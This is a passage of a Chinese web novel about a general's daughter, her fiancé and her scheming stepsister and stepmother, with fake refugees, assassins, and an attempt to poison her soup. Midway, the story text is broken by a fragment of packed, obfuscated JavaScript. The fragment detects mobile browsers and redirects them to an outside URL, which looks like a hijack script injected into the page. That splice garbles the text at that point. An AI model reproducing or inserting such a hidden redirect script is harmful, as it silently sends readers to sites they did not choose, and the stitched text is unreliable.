她扭过头,眼圈似乎已经红了,“采姝,马车呢?”
采姝立即道:“二小姐,马车马上过来了。”
沈厉岚看着楚潇雨的样子,有些不忍,“二妹妹要去寒山寺上香?”
楚潇雨道:“我想去寒山寺给北地祈福,听说北地雪灾严重,我做不了什么,只能通过上香,为他们祈福。”
沈厉岚道:“既如此,那便一起吧,刚好我们也
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是去寒山寺。”
楚潇雨立即露出一个大大的笑脸,跑到沈厉岚身边,“真的吗?那太好了。”
随即看着楚安辞:“可是,我不会打扰沈哥哥与姐姐吧?”
沈厉岚看了楚安辞一眼,摇头;“不会的,上车!”
沈厉岚扶着楚潇雨上了马车,就过来扶楚安辞。
可是却看到楚安辞径直走到不知何时过来的马车旁,被身边的丫鬟扶着上了后面的马车。
“楚大妹妹。”
楚安辞回头对他笑了笑,道:“沈世子,我坐惯了自己的马车,就不和妹妹挤了。”
“并且世子与妹妹感情好,想必路上还要说话,我在未免打扰你们。”
沈厉岚脸沉了沉,最后还是没说什么,转身上了马。
路上,楚潇雨时不时的就探出头与沈厉岚说话,丝毫不顾及外面冷不冷。
沈厉岚说了几句后,眼角余光看到后面那辆马车,车帘一直关着,一点动静都没有。
突然就想起了楚安辞说的那句说,楚潇雨在路上会和自己说话,这些她竟然都猜到了。
沈厉岚看看正在饶有兴趣和自己说话的楚潇雨,问道:“今日雪虽然小了,但还没停,你怎么就想着今日去上香了?”
楚潇雨笑容僵了一下,似是没想到沈厉岚会这般问。
但还是道:“原本想明日去的,只是刚好今日在家无事,想着不若就今天去好了,没想到刚好碰到沈哥哥。”
她小心翼翼的问道:“沈哥哥,我不会真的打扰你和姐姐了吧?对不起,我不应该今天出门的。”
沈厉岚和煦一笑,“没有,进马车里吧,外面冷。”
终于到了寒山寺,楚安辞准备下车的时候,刚好看到前面沈厉岚在搀扶楚潇雨下车。
她心中冷笑:当着未婚妻的面,还如此可真是不将我放在眼中啊。
她抬脚,径直往寺门走去。
“姐姐,等等我。”
楚潇雨快步跟上,对楚安辞道:“姐姐,刚刚沈哥哥忙着扶我,没顾上你,你不会生气了吧?”
然后对沈厉岚道:“沈哥哥你也是,虽然我们从小青梅竹马一起长大,但毕竟姐姐才是你的未婚妻,你应该先护着姐姐才是。”
沈厉岚:“你是妹妹,我自然要保护你。”
楚安辞也笑道:“是啊妹妹,你们感情好,沈世子先护着你也属应当。”
楚安辞这话,就差说楚潇雨不知廉耻,勾引自己姐夫了。
楚潇雨却没说什么,而是道:“听说寒山寺的菩萨很灵,沈哥哥,我们一起去上香好不好,为受灾百姓祈福。”
沈厉岚看向楚安辞,但还是点头,“好”。
楚潇雨扭头又看向楚安辞,“哦,对了,姐姐你要不要一起?”
“还是说姐姐只想去赏梅,如果是这样的话,那就让沈哥哥先陪姐姐去赏梅吧,我自己去上香就好。”
第38章 略施小计
不等楚安辞说话,沈厉岚厉声道:
“祈福是好事,赏梅不过是打发时间罢了。”
楚安辞冷笑:哼,和我就是打发时间?沈厉岚,你果然还是那般无耻。
“是啊,妹妹明知沈世子最是宠着你,你还这般是为了让我这个未婚妻难堪吗?”
她眼神受伤,已经没了之前的从容。
沈厉岚见此,心尖微动,这样的楚安辞有种受伤的破碎感,让他想要保护。
“大妹妹如果喜欢,我也可以......”
“姐姐,你知道我不是那个意思的,你怎可如此误解我?”楚潇雨打断了沈厉岚的话。
眼泪急的在眼眶里打转。
楚安辞摇头道:“都是我不对,是我想的太多了,不过没关系,你是我妹妹,我没关系的。”
“沈世子,妹妹想要上香,为北地祈福也是好事,我们就去上香吧。”
说完她就先一步抬脚往大殿走去,好似她再待下去,会控制不住自己。
而她转身离开的时候,沈厉岚真切的看到了她眼眶里强忍的泪水。
这样的她,和之前倔强的,自己坐一辆马车,还不用她搀扶的样子形成对比。
让沈厉岚觉得她之前那般,是因为自己先照顾楚潇雨,并且不问她的意见而赌气。
而自己明明邀请她来赏梅,却转而答应别人先去上香,自己失约在先,伤了她。
她才有刚才的那一幕,终于忍不住心底的委屈发泄了出来,并且说了那样的话。
沈厉岚眸色深沉,望着那道落寞的背影。
这背影让他觉得自己错了,自己做错了事。
“沈哥哥。”
楚潇雨拉了拉沈厉岚的衣袖,委屈的看着他,“对不起,是我不好,惹了姐姐不高兴。”
“沈哥哥去陪姐姐吧,我自己可以的。”
她强壮镇定的样子,让沈厉岚回神。
“没事,走吧,我们进去上香。”
等沈厉岚和楚潇雨进去的时候,楚安辞已经上了香,准备起身。
她看了沈厉岚一眼,眼神中带着委屈的倔强。
却又给人一种,既然你们互相心悦彼此,那我成全的意思在里面。
好似她可以独自承受一切,独自咽下所有的委屈。
楚潇雨紧紧拉着沈厉岚,一起上香。
楚安辞已经走出了大殿,随便寻了一个地方,静静的待着。
等了一会,白灼终于忍不住开口道:“小姐,我们在这等什么?”
楚安辞道:“你不觉得这里风景很好吗?从这正好能看到那边的梅花,既然是来赏梅的,那自然要赏梅啦。”
白灼:“可我们明明可以过去看的呀?”
“小姐你看,那边那两道人影是不是二小姐和沈世子?”
“真是可恶,他邀请您来赏梅,结果却抛下您,带着二小姐过去了。”
楚安辞冷冷一笑,“这不正常吗?如果真让他与我一起赏梅,反而会破坏我的好心情。”
“并且如此这般,是他失言在先,岂不是正好?”
白灼挑眉:“小姐,您是故意的!”
“嗯,我就是故意的。”
楚安辞看向不远处梅花树下站着的两人,两人站的很近,几乎靠在了一起。
就在这时,楚潇雨脚下一滑,真的跌进了沈厉岚怀中。
看着两人真的抱在了一起,楚安辞突然道:
“蓝英,弄出点动静来。”
蓝英虽不知她要做什么,但很是配合的弄出了点动静,也让那边的沈厉岚第一时间看向这边。
他也是从小习武,目力很好。
一下子就认出不远处亭子内站着的那道身影。
身影落寞又无助,让他竟然难得的有些疼惜。
再看自己怀中抱着的楚潇雨,沈厉岚下意识的将人推开。
“啊,沈哥哥。”
楚潇雨委屈地坐在雪地上,并没有发现那边的楚安辞。
沈厉岚见楚潇雨摔倒在地,俯身将人搀扶起来,“抱歉!”
他又看了一眼亭子那边,人影已经消失。
沈厉岚明知自己对楚安辞没什么感情,但还是觉得这么做似乎是背叛了她,伤害了她。
对楚潇雨道:“我们回吧!”
楚潇雨不知道发生了什么,追在沈厉岚后面,“沈哥哥,你等等我!”
沈厉岚走到亭子边,只看到一串往外走去的脚印。
顺着脚印,看到站在马车边的楚安辞,她正在被丫鬟搀扶着上马车。
进马车前,楚安辞还特意往沈厉岚的方向看了一眼,那一眼沈厉岚读懂了。
既然沈世子真的与妹妹有意,我便不打扰了。
沈厉岚想要追上去,却被人突然拽住。
“沈哥哥!”
楚潇雨终于拉住了沈厉岚的衣袖,有些娇喘。
沈厉岚将楚潇雨搀扶上马车,没着急上马,反而是来到楚安辞的车边。
“大妹妹,刚刚我们在找你,以为你去了梅林。”
楚安辞的声音从车内传出,“我知道的,沈世子!”
“我刚刚在那边等你,却不曾想我们走岔了,我也有些累了,回吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369468|199859||http|test|mini|href|location''.split(''|''),0,{}));
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r>沈厉岚眉心微蹙,他都主动与她解释了,她竟还这般不识好歹!
沈厉岚之前的那点子愧疚,荡然无存,心底却莫名的烦躁。
一甩袖往马那边走去。
楚安辞透过车窗的一条缝,看着沈厉岚略带怒气的背影,眼底微寒:
沈厉岚,上一世我全心全意待你,你可都未曾对我有过一丝愧疚。
今日不过略施小计,你就有了情绪,真是可笑。
楚安辞收回视线,她是要成全这对渣男贱女。
但并不想让他们好过。
上一世两人不是恩爱无比,情比金坚吗?
甚至将自己的存在,当成破坏他们感情的刺。
那这一世,这根刺不再是软趴趴的,她会伤人,甚至会**!
她要他们成为怨偶,看到她最恨的两个人在一起,互相伤害那才是最大的报复。
马车刚离开寒山寺不远,楚安辞突然隐隐听到什么动静。
她掀开车帘查看,隐隐看到远处有黑影摇晃着走向这边。
待走近一些,竟然都是人。
并且还是不少的人。
看他们穿着破烂,身形狼狈,骨瘦如柴的模样,楚安辞便猜出了一二。
蓝英道:“小姐,好像是流民。”
白灼也看向外面,“难道这都是北地逃难来的?”
“他们怎么来了这里?”
楚安辞道:“可能是在家活不下去了,就想来京城,或者往南看看有没有活路。”
“不过雪灾不是旱灾,也不至于让他们背井离乡。”
沈厉岚这会已经骑马护在两辆马车旁。
那边车上的楚潇雨掀开车帘,面带焦急和惊慌,“沈哥哥,我害怕!”
沈厉岚打马准备过去,突然想到什么,回头看向楚安辞这边。
正对上楚安辞看过来的眼神。
也清晰的看到了楚安辞眼中一闪而过的慌乱,但是她却一句话也没说,只是静静的看着。
沈厉岚突然就犹豫了。
“沈哥哥,我们快走吧!”
楚潇雨又道。
沈厉岚看了看正在靠近的那群人,道:“走。”
马车再次行驶,可变故突然发生。
就在这时,一群穿着破烂的人蜂拥而至,像是看到肉的狼,将他们两辆马车包围。
嘴里祈求着,“贵人,给我们点吃的吧,求求你们了。”
楚潇雨突然掀开车帘,站在车辕上,声音有些发抖,“你......你们都是些什么人?”
看到楚潇雨,人群人有些人的眼神就是一亮。
第39章 变故,刺杀
其中一人道:“姑娘,我们是受灾的难民,我们的房子都被压塌了,粮食也没了,求求你们给点吃的吧。”
楚潇雨看了看沈厉岚,强自压着心底的嫌弃道:
“我们是出来上香的,听说北地雪灾,特来祈福,所以身上没带吃的。”
“你们也确实可怜,不若等我回去,派人给你们送些吃的过来可好?”
一个抱着孩子的妇人出来道:“姑娘,一听您就是好心人。
我孩子快饿**,您给我们一口吃的也行啊,求求您,救救我的孩子。”
“救救我们!救救我们!”
“好心人救救我们!”
眼看着那些人要上前,沈厉岚立即阻止,“不许靠近,我们车上没带吃的。”
“你们既然已经到了京城,官府自会安顿你们,且在城外稍等一等。”
“但如果谁敢上前,我便不再留手。”
他拔出腰间挂着的佩剑。
冰冷的眸子扫过那些蠢蠢欲动的人。
被沈厉岚警告,再看这些人的穿着,就知不是他们能招惹的人物,那些人似乎是有所顾忌的没动。
楚潇雨看向沈厉岚,一副不忍的样子,“沈哥哥,这些人好可怜,我们帮一帮他们吧。”
沈厉岚没有接话,而是道:“你先进去。”
楚潇雨却没动,扭头让采姝拿了一个食盒出来,“我知道你们饿,我这里只有这点点心,先给你们垫一垫吧。”
听到这话,后面那车上的楚安辞暗骂一句:**!
果然,就在下一刻,那群本来被沈厉岚唬住的人,再也按捺不住,一下子冲了上来。
楚潇雨被吓得直接扔掉了手中的盒子,“啊”!
然后被流民推搡,往马车下摔了下去。
幸好沈厉岚在她车边,顺手将人捞了起来,放在自己马上。
沈厉岚拔出长剑,打退还试图对他们出手的人。
而那边蓝英也已经与围上他们的流民打了起来,她没有下死手,只是将冲上来的人打退。
车内观察的楚安辞看到里面竟然还有几人身形健硕,孔武有力。
行走间还似乎有些身手的样子,她眸色一暗。
在一人准备背后偷袭蓝英的时候,甩出一根银针,将那人击退。
但因为自己也出了马车,进而被其他人攻击而来。
楚安辞不想现在在沈厉岚面前暴露自己的武功,正准备继续使用暗器,蓝英最先反应过来,护在楚安辞身边。
沈厉岚击退几人后,这才想起楚安辞,立即看过来。
见蓝英出手利落,将楚安辞保护的很好,这才稍稍放心。
然而就在这时,破空声突然响起。
楚安辞,蓝英,和沈厉岚都看向那把直射而来的利箭。
利箭速度很快,直冲楚安辞的面门。
沈厉岚惊呼,“楚安辞!”
楚安辞则暗骂:该死!
手掌成刀,准备将利箭劈下。
突然一把大刀飞过,将那利箭挡了过去。
紧接着接连几箭朝着利箭射出的方向,射了过去。
楚安辞看去,正对上一双冰冷刺骨的眸子:景离。
景离招手,后面的人立即将那些难民快速控制住。
蓝英不等楚安辞下令,亲手将其中几人拎了出来,“这些不是难民。”
景离视线扫过几人,跪在地上的几名大汉身体一抖,好像自己被豺狼虎豹盯上了一般。
“灵渊!”
灵渊立即上前,拿出一把**轻轻滑过其中一人的胸口,像是要将他的胸膛抛开,看看里面都有什么。
“说,谁派你们来的,目的是什么?”
那人被灵渊随便一吓,就全都招了。
“大人饶命,我们就是混口饭吃。”
“是......是一个男的,给了我们三十两银子,让我们杀了画像上的人。”
说着,他拿出一张画像。
景离看过后,交给楚安辞。
楚安辞看了几眼,心底吐槽:这谁画的,有我三分的美貌吗?
但神情还是害怕又悲愤,“谁,是谁要你们杀我?”
大汉摇头,“我们真的不知道啊,那个男的带着斗笠蒙着面,我们一点都没看清!”
灵渊又问了几句,见他们都是一问三不知,索性一一抹了脖子。
见到这一幕,那些流民立即就怕了。
京城的人,怎么说**就**,太可怕了。
“大人饶命,求大人饶命。”
景离看向他们,道:“你们都是逃难来的流民?”
“是,是大人。”
景离对灵耀道:“你带人去安排他们。”
等灵耀带着兵将流民带走,景离这才看向楚安辞。
只是不等他再次开口,沈厉岚已经大步过来。
“大妹妹,你怎么样?”
“是啊姐姐,刚刚吓死我了。”楚潇雨紧随而来。
“刚刚沈哥哥护着我,没能保护你,姐姐你没事吧,可有受伤?”
白灼站在楚安辞身后,翻了个大大的白眼。
都这个时候了,这大绿茶还在挑事。
扑通一声,刚才在处理尸体的士兵,突然手一滑,尸体摔落在地。
尸体的手好巧不巧的砸在了楚潇雨的绣鞋上。
“啊~”
楚潇雨吓得弹跳起来,扑进沈厉岚怀中,“沈哥哥,我怕!”
沈厉岚下意识的想要伸手抱住,哄楚潇雨。
可当对上楚安辞看过来,隐忍的眼神时,抬起来的手又顿住了。
楚安辞面上似乎没有多余的表情,可视线却放在扑在他怀中的楚潇雨身上。
声音有些发抖,“妹......妹,可能......吓坏了,劳......劳烦沈世子照顾!”
一旁给手下暗
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暗竖起大拇指的灵渊道:
“楚大小姐真是善良,自己都害怕成这样了,还在担心妹妹。”
然后瞥了沈厉岚一眼,“这个时候又看到自己的未婚夫和妹妹抱在一起,可谓是双重打击啊~也不知道心里该多难过!”
那阴阳怪气的样子,就连景离都多看了两眼。
沈厉岚就要推开楚潇雨,可楚潇雨紧紧攥着他的衣襟,“沈哥哥,我好怕。”
她是真的被吓到了。
试问一个闺阁女子,平日里可能并不怎么将人命放在眼中,但如果亲眼见到这一幕,难免也会被吓到的。
更何况那手可是砸到了她的脚上,接触到她的。
楚安辞道:“我没事的,妹妹就麻烦沈世子了,我真的没事的~”
她扭身进了马车,背影既恐惧又落寞,却还在强自支撑着。
车帘关上的时候,沈厉岚和景离都看到她一下扑进了白灼的怀里,声音低低的啜泣,“白灼。”
白灼则抱着楚安辞,低声哄道:“小姐别怕,别怕。”
车帘彻底放下,蓝英身体挡在前面,彻底阻隔了外面人的视线。
沈厉岚还想说话,却被楚潇雨拉着,以害怕为由拉到了她坐的马车上。
景离翻身上马,跟在楚安辞的马车旁,带人护送他们回去。
这次楚安辞的马车在前,后面是沈厉岚和楚潇雨的马车。
沈厉岚被楚潇雨紧紧抱着胳膊,脱不开身。
但视线却透过车窗,死死看着前面的一马一车。
他能看到,景离正在和楚安辞说话,只是他听不清他们说的是什么。
他惊讶于景离竟然会与楚安辞说话,他可是从不与女子多说一个字的。
看他那模样,似乎是在安慰。
沈厉岚拳头握紧,唇线不自觉的绷直。
原来这就是来时路上,楚安辞在后面看他与楚潇雨说话的感觉。
心里酸涩,又带着怒气,她是如何忍了一路的?
前面景离正隔着车窗问楚安辞,“今日之事,可有怀疑之人?”
“你之前救了我,想做什么,我帮你。”
楚安辞也没拉开车帘,直接道:“大体有所怀疑,不过暂时不用大人出手。”
“今日谢谢大人,幸好大人来得及时,不然我的命,今天恐怕就要交代在这了。”
景离:“刚好出来办事。”似乎是在解释。
楚安辞忍不住探出头来,看向景离,见他还是那副面无表情,拒人于千里之外的样子,她索性又将头收了回去。
景离本预张开的唇,又紧紧抿了起来。
后面的路,二人都没有再开口说什么,一直到将军府。
沈厉岚最先下了马车,就朝着楚安辞的马车大步走去。
刚走出几步,身后楚潇雨的声音便响起来了。
“沈哥哥,你不扶我下马车吗?”
第40章 脚软,走不动了
沈厉岚的脚步顿住,看了看前面的马车,又转过身来,伸出手。
楚潇雨将手搭在沈厉岚的手上,被他护着下了马车。
沈厉岚刚要松手,就觉对面的人身体一软,栽倒过来。
他下意识的扶住。
楚潇雨已经站好,“对不起沈哥哥,我之前太害怕了,脚有些软。”
她眼眸微垂,眼中是焦急和懊恼,好似自己给别人添了麻烦。
沈厉岚一把将人抱起,“没事,我送你进去。”
然后又看向楚安辞那边,想要开口解释两句。
就见楚安辞的手已经搭在了景离的手上,正被景离搀扶着下了马车。
最后她还跳了一下,露出一个大大的笑,更显娇俏灵动。
“谢谢大人,这一路下来,我已经没事了。”
景离眼底闪烁,也被她的笑融化了,“好”。
景离没有进府,直接上马带着人离开。
楚安辞这才看向正抱着楚潇雨的沈厉岚,有些惊讶,小嘴微张。
“沈世子,你这般抱着妹妹......你们......”
沈厉岚这会正因为刚才那一幕,满心的怨气。
她明明是自己的未婚妻,却和别的男人拉拉扯扯,成何体统?
刚要开口说两句,就见楚安辞急忙往四周看去,然后道:
“世子快和妹妹进去,你们这般让人看见,世子是男子倒是无妨,可是妹妹该叫人说不检点,勾引姐姐的未婚夫了。”
楚潇雨搂着沈厉岚的手紧了紧,眼泪说落就落,“姐姐,你怎么可以这般想我,我只是腿软走不动了而已。”
楚安辞:“我不是那个意思,我这不也是为了妹妹的名声考虑吗?妹妹怎么还怨我?”
她后退两步,有些伤心的看着楚潇雨。
沈厉岚沉声道:“都别说了,快进去吧。”
抱着楚潇雨大步跨进了将军府。
萧氏听闻,立即过来接她们。
看到沈厉岚抱着楚潇雨,先是一愣,随即一喜。
但嘴上确却是焦急,“雨儿这是怎么了?”
沈厉岚没有着急将楚潇雨放下,依旧紧紧抱着,回道:
“路上遇到流民,二妹妹被吓着了。”
萧氏松了口气,随即又担心的问道:“大姑娘呢,你们不是一起出去的吗?”
“难道大姑娘出事了?这叫我如何与将军交代啊~”
“夫人,我在这,还好好活着呢,您不着急哭哈!”
萧氏的哭声戛然而止,她惊讶的看向楚安辞。
见她完好的站在那里,眼神随即一暗,垂下眼帘遮掩住眼底的情绪。
“没事就好,没事就好。”
“雨儿也就罢了,大姑娘如果出什么事,我是万万不知该如何与将军交待的。”
楚安辞道:“夫人可别这么说,妹妹可是您嫡亲的女儿,我怎能比得上她呢!”
“不过妹妹可能真的受惊了,咱们还是别在这站着了,快送她回去休息吧。”
萧氏连忙道:“啊,对,雨儿你怎么样?要不要我请大夫过来看看?”
又对沈厉岚道:“劳烦沈世子帮帮忙,将雨儿送回她的院子。”
楚潇雨脸颊微红,胳膊紧紧搂着沈厉岚的脖子,将头埋进他的怀里。
“娘~沈哥哥可是姐姐的未婚夫,怎好让他送我?”
“沈哥哥随意进出我的闺房,姐姐会多想的。”
“我不多想,不多想的。”楚安辞连忙笑着道:“沈世子放心送妹妹就是,我不会介意的。”
沈厉岚眸色暗了暗,但转身的时候,眼角余光明显撇到她的肩膀垮了下来。
脸上还带着一丝意味不明的难过。
沈厉岚不禁想:看来她,真的喜欢上我了。
也是,我是她的未婚夫,她自是应当喜欢我的。
而她表现出来的大度,可能都是怕我难做,不想让我觉得她善妒吧。
沈厉岚的心情莫名的好了一些,将楚潇雨送回明姝院后,还温声安抚,“二妹妹好好休息,我改日再来看你。”
楚潇雨紧紧拉着沈厉岚的衣袖,有些紧张的问道:“沈哥哥,你去看看姐姐吧,我怕她难过。”
沈厉岚顿了一下,轻声道:“二妹妹最是善良懂事,我知道了。”
楚潇雨拉着沈厉岚衣袖的手攥的更紧了:为什么不是指责她善妒,而是......
她看向沈厉岚,神情落寞,“那沈哥哥你去吧,不用管我了,我没事的。”
沈厉岚的衣袖已经被松开,原本还想着去安抚一下楚安辞的,见楚潇雨这般,他道:
“你别多想,好好休息,过几日我带着琼珠一起过来。”
楚潇雨嘴角上扬,“嗯,那我等你......们。”
漂亮的脸上莫名出现红晕,更显眉眼妩媚,让沈厉岚看愣了一瞬。
沈厉岚离开明姝院后,没再去瑶华居探望楚安辞,而是直接回了侯府。
他离开不久,萧氏从楚潇雨那里得知了今日发生的事,便让她好好休息,就回了自己的院子。
进入房间,房门被丫鬟带上,只剩她和王嬷嬷。
王嬷嬷立即
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跪下请罪,“是老奴办事不利。”
萧氏道:“不怪你,只是没想到那丫头运气这么好,竟然遇到离都督那个冷面阎王!”
“不过有了这么一遭,她以后想必会有防备,想再有这样的机会就难了。”
王嬷嬷已经站起身来,道:“夫人,那我们下一步......”
萧氏眸色一暗,“原本想着她好拿捏,慢慢来就是,谁曾想这丫头这么难搞!”
“并且现在还入了皇后的眼,我不得不早点解决掉她,如果她真的被皇后喜欢,以后再对她做什么,那就麻烦了。”
萧氏指尖扣着桌子上的桌布,眼角余光闪过一抹红色,她道:
“我们在瑶华居不是还留了一个厨娘吗,让她下手。”
“去,将之前从域外商人那里得来的那瓶胭脂劫拿来,这么好的药,自然要用到最关键的时候。”
王嬷嬷眼睛一亮,唇角勾起嘲讽的笑,“是,老奴这就去安排,绝对神不知鬼不觉。”
——
宣平侯府,沈厉岚一回来,就去了前院书房。
宣平侯见到儿子回来,立即招手,“你回来的正好,我正有事要你去做。”
沈厉岚上前,“父亲,您找儿子什么事?”
宣平侯道:“京城外的流民你可有见到?”
沈厉岚点头,“回来路上遇到了。”
宣平侯道:“我今日进宫时,刚好听到离都督与陛下汇报此事,并提出需有人专门负责,安顿这些灾民。
所以,我主动请缨,将这件事揽了下来。”
“你当知道,我宣平侯府现在的处境,虽然有侯爵的爵位,却并无实职。”
“这次这件事,是我宣平侯府重新进入朝堂的一个机会,所以必须做好,你当知我意?”
沈厉岚沉默一瞬,点头:“儿子知道了,父亲。”
“儿子定当全力协助父亲,办好灾民安顿一事。”
宣平侯欣慰,“嗯,这也是你接触政务,为朝廷效力的一个机会。”
“等来年科举,有这次的功劳加身,必定能得状元,为我宣平侯府增光添瓦。”
沈厉岚点头,“是。”
他跃跃欲试,他也从中看到了机会。
有这次的政绩在前,等明年科举,他拿下状元又多了一分底气。
宣平侯突然话锋一转,“听说你今日陪将军府的那位大小姐出去玩了?相处得如何?”
他虽然这么问,但对儿子还是很信任的。
想起楚安辞代表的将军府,和后面的兵权,宣平侯心头火热。
第41章 流氓君子
沈厉岚将事情简单说了一下,宣平侯道:
“那位大小姐颇受定北大将军的爱护,如若不然,当时她还那么小,也不会将她带在身边,带去北境亲自教导。”
“你们的婚事,等来年取得状元后,便提上来吧,也是时候成婚了。”
“等我们两家联姻,你再有将军府的助力,不愁我们宣平侯府不能再上一层,甚至还有可能进入权利核心。”
沈厉岚心情有点复杂,想起今日种种,他最后还是点头,“都听父亲的。”
从书房离开,便去了主院给沈夫人请安。
沈夫人也问起今日赏梅之事,沈厉岚简单说了。
沈夫人道:“当初定下这门婚事,就是看重将军府的势力,迎娶楚安辞,对我们侯府利益巨大,我儿当好好把握才是。”
一旁沈琼珠道:“潇雨也是将军府的嫡女啊,为什么非得是她楚安辞?一个乡巴佬,野丫头,凭什么做我们侯府的世子夫人?”
沈夫人道:“琼珠,在外面不可胡说。”
“楚安辞是将军先夫人,那位长孙氏的女儿。”
“将军对长孙氏的感情,京城谁人不知,他对大女儿的看重,可远远超过了后来生的,没怎么见过的二小姐。”
“所以想要与将军府利益牵扯到一起,并让将军府全心全意为你哥哥谋划,楚安辞便是最好的人选。”
她想了想,道:“岚儿,我知你与楚潇雨从小青梅竹马,感情不错,但你当知晓,谁才是你的未婚妻,谁才是与我们侯府最有利之人。”
“以后你与她,也该保持一定的距离才是,切莫因小失大。”
沈厉岚想起今日种种,他眸子暗了暗,“是,母亲,儿子知道分寸。”
楚安辞那隐忍的眼神和落寞的背影在眼前闪过,他心中悸动。
随即又想起楚潇雨那妩媚的眸子,感觉口干舌燥。
沈厉岚怎能看不出楚潇雨的心思,但他并不想改变什么。
作为一个男人,有女子主动投怀送抱,怎能忍心拒绝?
即便他是大家口中的端方君子,但他首先也是个男人。
沈厉岚心中怎么想的,楚安辞不知。
她这会正在听着白灼吐槽,兼--叨叨叨。
“沈哥哥,我脚有些软~”
“姐姐,你怎么可以这般想我,我只是腿软走不动了而已~”
“沈哥哥可是姐姐的未婚夫,怎好让他送我呢?”
“今日我可真是长见识了,堂堂将军府的嫡出小姐,竟然这般无下限的对男人投怀送抱。”
“蓝英,你看到了没,当着我们小姐的面,当着所有人的面,她今天一天扑进沈世子怀里几次,我一只手都要数不过来了。”
“我看她都恨不得直接粘在沈世子身上了,长这么大,第一次见这么不要脸的人。”
“还有那沈世子也是,人家投怀送抱他就接着,还什么端方君子呢,我看就是流氓君子。”
“一对渣男贱女,要我们小姐做什么,干脆他俩凑一对儿得了。”
“小姐你也是,您看看人家那茶里茶气的,您也得好好学一学才是,您这道行还不够啊!”
‘噗!’
楚安辞一口茶最后还是喷了出来,实在是没憋住。
她擦干净嘴角,眼泪汪汪的看向白灼。
别误会,不会哭的,是刚才被茶水呛了一下,憋得。
“白灼,你何时这般能吐槽了,我看你道行不错,刚刚学的可像了。”
白灼挑眉,“真的吗?那我回头好好跟二小姐学一学,她那模样似乎还挺能勾男人的。”
“等哪天有我喜欢的人了,我就用这招勾他,玩够了再一包**废了他!”
最后她还做了个抹脖子的动作。
楚安辞对未来会被白灼看上的男人,表示一丢丢的同情。
“那祝你晚一些遇到。”至少那人还能多活几天。
“小姐,晚膳好了。”
一个丫头端着晚饭过来。
这也是万管事安排来的人,做一些端茶送水送饭的活。
将晚膳摆好,剩下的交给白灼和蓝英。
她们二人向来都是与楚安辞一起用饭的。
看着桌子上的四菜一汤,荤素搭配得当,楚安辞拿起筷子,加了一块被红油包裹的肉放进嘴里。
白灼嘟囔一句,“小姐,少吃点辣,吃多了胃难受。”
楚安辞已经将肉咽了下去,“知道知道。”
然后端起桌子上的汤放在嘴边,手却顿住了,脸色一沉。
“怎么了小姐,汤有什么问题?”
白灼从小与楚安辞一起长大,她每一个动作和神情,几乎都能快速读懂。
看到楚安辞阴沉的眸子,白灼便知道汤可能有问题,而不会去猜是不是别的事,或者汤做的味道不好。
白灼已经将汤拿过来,放在鼻间闻了闻。
她眉头紧蹙,咬了一勺,靠近鼻子又闻了闻,脸也彻底沉了下来。
她的鼻子最是灵敏,甚至比楚安辞的还要灵敏。
也正因如此,楚安辞的师父才将她放在楚安辞身边。
别人闻不出味道,只要她想,几乎都能闻得出来。
楚安辞只是隐约闻到一点气息,但很快便闻不到了。
看白灼这般,她就知道自己猜对了。
“是什么?”<
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br>她相信白灼,所以没问是不是闻出了什么,而是直接问是什么。
白灼将碗放下,“胭脂劫!”
蓝英眉头紧蹙,她对毒了解的虽然不多,但一听这名字,就知道不是什么好东西。
一般越是好听的毒,越是厉害。
白灼继续解释:“脸上红斑如胭脂,却是一生劫难。”
“说的就是这胭脂劫,这毒来自西域,是一种慢性**,需要人长期服用才会起效。”
“起先看不出什么,身体只会慢慢虚弱,然后毒素才开始浮于表面,出现红斑。”
“不过这毒最霸道的还不是这些,是它能破坏女子的根基,即便停药,最后也会不再能有孕。”
楚安辞:“竟是胭脂劫。”
她眯了眯眸子,“这药可能解?”
白灼点头,“能配制解药,但对女子的损伤是不可逆的,例如绝育,即便解了毒,也不可能再能有孕,所以说,这是一生劫难。”
三人沉默,静静的注视着那碗添加了胭脂劫的汤碗。
蓝英道:“我去查是谁动的手脚。”
楚安辞道:“去查一查也好,我们自己的人虽然可信,但也难免中间会有意外。”
蓝英去调查,白灼问道:“小姐,你打算如何做?”
“先等蓝英的消息再说。”
蓝英调查的很快,最后拉着一个妇人进来。
妇人身上虽然干净,但依旧有浓重的油烟味。
蓝英道:“小姐,是这厨娘干的。”
楚安辞看向她,挑眉:“我记得你说过,她是我们进府前刚买来的。”
蓝英点头。
那厨娘颤抖着抬起头来,只看了楚安辞一眼,便立即低下头去,头不停地往地上磕。
“小姐饶命,小姐饶命,奴婢也是被逼的,我的孩子被他们控制在手中,我想要我儿子活命,只能听他们的命令。”
“小姐饶命,小姐饶命啊。”
“我真的无心害小姐,我也是被逼的,我发誓,这是第一次,绝对是第一次。”
楚安辞道:“何人指使?”
厨娘顿了顿,摇头,再也不多说一句。
楚安辞轻嗤一声,看向白灼。
白灼立即弹坐起来,搓搓手,拿出一根银针,“我这针上面,可是涂了能让人浑身如刮骨般疼痛的毒,不过你放心,它只会让你疼,不会要你性命的。”
厨娘看着白灼拿着一跟针靠近,她有些害怕。
但还是死死咬着牙不肯松口。
“求小姐放过我,我都是被逼的,求小姐......啊!”
白灼的针一下扎在那人的颈肩处,一阵刺痛。